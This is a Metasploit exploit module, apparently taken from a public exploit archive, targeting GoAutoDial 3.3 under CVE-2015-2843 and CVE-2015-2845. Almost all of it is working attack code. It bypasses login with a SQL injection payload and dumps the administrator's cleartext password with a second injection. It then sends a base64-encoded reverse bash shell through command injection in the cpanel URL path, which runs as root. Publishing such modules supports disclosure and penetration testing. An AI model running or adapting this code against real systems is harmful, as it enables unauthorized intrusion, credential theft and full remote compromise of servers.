GoAutoDial 3.3 Authentication Bypass / Command Injection

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "GoAutoDial 3.3 Authentication Bypass / Command Injection",  
'Description' => %q{  
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chris McCurley', # Discovery & Metasploit module  
],  
'References' =>  
[  
['CVE', '2015-2843'],  
['CVE', '2015-2845']  
],  
'Platform' => %w{unix},  
'Arch' => ARCH_CMD,  
'Targets' => [ ['Automatic', {} ] ],  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => 'Apr 21 2015'))  
  
register_options(  
[  
OptPort.new('RPORT', [true, 'The target port', 443]),  
OptBool.new('SSL', [false, 'Use SSL', true]),  
OptString.new('TARGETURI', [true, 'The base path', '/'])  
])  
end  
  
  
def check  
res = check_version()  
if res and res.body =~ /1421902800/  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Vulnerable  
end  
end  
  
def check_version()  
uri = target_uri.path  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'changelog.txt'),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0',  
'Accept-Encoding' => 'identity'  
}  
})  
end  
  
def sqli_auth_bypass()  
uri = target_uri.path  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0',  
'Accept-Encoding' => 'identity'  
},  
'vars_post' => {  
'user_name' => 'admin',  
'user_pass' => '\'%20or%20\'1\'%3D\'1'  
}  
})  
end  
  
def sqli_admin_pass(cookies)  
uri = target_uri.path  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0',  
'Accept-Encoding' => 'identity',  
'Cookie' => cookies  
}  
})  
end  
  
#  
# Run the actual exploit  
#  
def execute_command()  
  
encoded = Rex::Text.encode_base64("#{payload.encoded}")  
params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""  
uri = target_uri.path  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0',  
'Accept-Encoding' => 'identity',  
'Cookie' => @cookie  
}  
})  
end  
  
  
def exploit()  
print_status("#{rhost}:#{rport} - Trying SQL injection...")  
res1 = sqli_auth_bypass()  
  
if res1 && res1.code == 200  
print_good('Authentication Bypass (SQLi) was successful')  
else  
print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')  
end  
  
@cookie = res1.get_cookies  
print_status("#{rhost}:#{rport} - Dumping admin password...")  
res = sqli_admin_pass(@cookie)  
  
if res  
print_good(res.body)  
else  
print_error('Error: No creds returned, possible mitigations are in place.')  
end  
print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")  
  
execute_command()  
end  
end  
`